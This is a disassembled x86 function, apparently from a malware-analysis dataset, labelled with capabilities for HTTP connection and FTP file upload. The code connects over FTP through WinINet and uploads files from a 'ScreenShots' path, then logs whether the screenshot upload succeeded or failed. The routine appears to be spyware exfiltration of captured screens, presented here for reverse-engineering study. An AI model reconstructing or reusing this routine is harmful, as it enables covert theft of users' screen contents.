Function at 0x10012d60
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100419ac
mov eax, dword fs:[0]
push eax
sub esp, 0xec
mov eax, dword [0x1005b034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov eax, 0x10172c30
mov dword [ebp - 0x34], 0xf
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10012da5
sub eax, edx
mov edi, eax
mov eax, 0x10172c30
lea esi, [ebp - 0x48]
call fcn.10002d20
mov eax, esi
push eax
lea ecx, [ebp - 0xf0]
push ecx
mov dword [ebp - 4], ebx
call fcn.10002580
add esp, 8
mov byte [ebp - 4], 2
cmp dword [ebp - 0x34], 0x10
jb 0x10012de9
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, 0xf
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x6c], eax
mov eax, 0x10172cf8
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
mov dword [ebp - 0x70], ebx
mov byte [ebp - 0x80], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10012e08
sub eax, edx
mov edi, eax
mov eax, 0x10172cf8
lea esi, [ebp - 0x80]
call fcn.10002d20
mov byte [ebp - 4], 3
mov eax, 0x10172dc0
mov dword [ebp - 0x34], 0xf
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10012e40
sub eax, edx
mov edi, eax
mov eax, 0x10172dc0
lea esi, [ebp - 0x48]
call fcn.10002d20
mov eax, esi
push eax
lea ecx, [ebp - 0x9c]
push ecx
mov byte [ebp - 4], 4
call fcn.10002580
add esp, 8
mov edi, 0x10
cmp dword [ebp - 0x34], edi
jb 0x10012e85
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [ebp - 0x9c]
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0x88], edi
jae 0x10012eab
lea esi, [ebp - 0x9c]
mov edx, dword [ebp - 0x80]
cmp dword [ebp - 0x6c], edi
jae 0x10012eb6
lea edx, [ebp - 0x80]
mov ecx, dword [ebp - 0xf0]
cmp dword [ebp - 0xdc], edi
jae 0x10012eca
lea ecx, [ebp - 0xf0]
push ebx
push 0x8000000
push 1
push esi
push edx
push 0x15
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, 0xf
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xa4], edi
mov dword [ebp - 0xa8], ebx
mov byte [ebp - 0xb8], bl
push 0xc
mov eax, str.ScreenShots_
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 7
call fcn.10008150
push ebx
push 0x1016dddc
or eax, 0xffffffff
lea esi, [ebp - 0xb8]
call fcn.100084a0
push 1
mov eax, 0x1004eb58
mov ecx, esi
call fcn.10008150
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
push 0xc
mov eax, str.ScreenShots_
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 8
call fcn.10008150
push ebx
push 0x1016dddc
or eax, 0xffffffff
lea esi, [ebp - 0x64]
call fcn.100084a0
push 1
mov eax, 0x1004eb58
mov ecx, esi
call fcn.10008150
mov eax, 0x10174e90
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10012f76
sub eax, esi
push eax
mov eax, 0x10174e90
lea ecx, [ebp - 0x64]
call fcn.10008150
mov dword [ebp - 0x34], edi
mov edi, 0x18
mov eax, str.gY9ioE8iS7L1amY8qYfrQ
lea esi, [ebp - 0x48]
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
call fcn.10002d20
mov eax, esi
push eax
lea ecx, [ebp - 0xd4]
push ecx
mov byte [ebp - 4], 9
call fcn.10002580
add esp, 8
mov esi, 0x10
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x34], esi
jb 0x10012fd9
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0x64]
mov edi, 0xf
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
cmp dword [ebp - 0x50], esi
jae 0x10012ff2
lea ecx, [ebp - 0x64]
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0xc0], esi
jae 0x10013006
lea eax, [ebp - 0xd4]
push ebx
push 2
push ecx
push eax
mov eax, dword [ebp - 0xf8]
push eax
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
mov eax, dword [ebp - 0x64]
jne 0x10013083
cmp dword [ebp - 0x50], esi
jae 0x10013027
lea eax, [ebp - 0x64]
push eax
push str.S_8Scr___n_Failed__n__s
push 0x10176938
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, 0x10176938
add esp, 0xc
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10013050
sub eax, edx
mov edi, eax
mov eax, 0x10176938
lea esi, [ebp - 0x2c]
call fcn.10002d20
mov eax, esi
mov byte [ebp - 4], 0xc
call fcn.1001ad30
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x18], 0x10
jb 0x100130ea
mov ecx, dword [ebp - 0x2c]
push ecx
jmp 0x100130e1
cmp dword [ebp - 0x50], esi
jae 0x1001308b
lea eax, [ebp - 0x64]
push eax
push str.S_8Scr___n_Successfully__n__s
push 0x10176938
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, 0x10176938
add esp, 0xc
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100130b0
sub eax, edx
mov edi, eax
mov eax, 0x10176938
lea esi, [ebp - 0x2c]
call fcn.10002d20
mov eax, esi
mov byte [ebp - 4], 0xd
call fcn.1001ad30
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x18], 0x10
jb 0x100130ea
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0xd4]
call fcn.10002420
add esp, 4
mov edi, eax
lea esi, [ebp - 0xd4]
mov byte [ebp - 4], 0xe
call fcn.10003280
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x18], 0x10
jb 0x10013124
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edx, dword [ebp - 0xf8]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
call esi
mov eax, dword [ebp - 0xf4]
push eax
call esi
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x9c]
call fcn.10002420
add esp, 4
mov edi, eax
lea esi, [ebp - 0x9c]
mov byte [ebp - 4], 0xf
call fcn.10003280
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x18], 0x10
jb 0x10013176
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0xf0]
call fcn.10002420
add esp, 4
mov edi, eax
lea esi, [ebp - 0xf0]
mov byte [ebp - 4], 0x10
call fcn.10003280
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x18], 0x10
jb 0x100131b0
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea edx, [ebp - 0x2c]
push edx
lea ecx, [ebp - 0x80]
call fcn.10002420
add esp, 4
mov edi, eax
lea esi, [ebp - 0x80]
mov byte [ebp - 4], 0x11
call fcn.10003280
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x18], 0x10
jb 0x100131e4
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], 0xf
lea edx, [ebp - 0xf0]
mov dword [ebp - 0xf4], esp
mov byte [ecx], bl
push edx
or eax, 0xffffffff
xor ebx, ebx
call fcn.100031a0
lea ecx, [ebp - 0x2c]
call fcn.10011030
add esp, 0x1c
mov edi, eax
lea esi, [ebp - 0xf0]
mov byte [ebp - 4], 0x12
call fcn.10003280
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x18], 0x10
jb 0x1001323f
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
sub esp, 0x1c
mov ecx, esp
lea edx, [ebp - 0x80]
mov dword [ebp - 0xf4], esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push edx
or eax, 0xffffffff
xor ebx, ebx
mov byte [ecx], 0
call fcn.100031a0
lea ecx, [ebp - 0x2c]
call fcn.10011030
add esp, 0x1c
mov edi, eax
lea esi, [ebp - 0x80]
mov byte [ebp - 4], 0x13
call fcn.10003280
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x18], 0x10
jb 0x10013299
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
sub esp, 0x1c
mov ecx, esp
lea edx, [ebp - 0x9c]
mov dword [ebp - 0xf4], esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push edx
or eax, 0xffffffff
xor ebx, ebx
mov byte [ecx], 0
call fcn.100031a0
lea ecx, [ebp - 0x2c]
call fcn.10011030
add esp, 0x1c
mov edi, eax
lea esi, [ebp - 0x9c]
mov byte [ebp - 4], 0x14
call fcn.10003280
mov esi, 0x10
cmp dword [ebp - 0x18], esi
jb 0x100132f9
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
cmp dword [ebp - 0xc0], esi
jb 0x10013311
mov ecx, dword [ebp - 0xd4]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor ebx, ebx
mov edi, 0xf
mov dword [ebp - 0xc0], edi
mov dword [ebp - 0xc4], ebx
mov byte [ebp - 0xd4], bl
cmp dword [ebp - 0x50], esi
jb 0x1001333c
mov edx, dword [ebp - 0x64]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
cmp dword [ebp - 0xa4], esi
jb 0x1001335d
mov eax, dword [ebp - 0xb8]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0xa4], edi
mov dword [ebp - 0xa8], ebx
mov byte [ebp - 0xb8], bl
cmp dword [ebp - 0x88], esi
jb 0x10013387
mov ecx, dword [ebp - 0x9c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x88], edi
mov dword [ebp - 0x8c], ebx
mov byte [ebp - 0x9c], bl
cmp dword [ebp - 0x6c], esi
jb 0x100133ab
mov edx, dword [ebp - 0x80]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x70], ebx
mov byte [ebp - 0x80], bl
cmp dword [ebp - 0xdc], esi
jb 0x100133cc
mov eax, dword [ebp - 0xf0]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003e6b0
mov esp, ebp
pop ebp
ret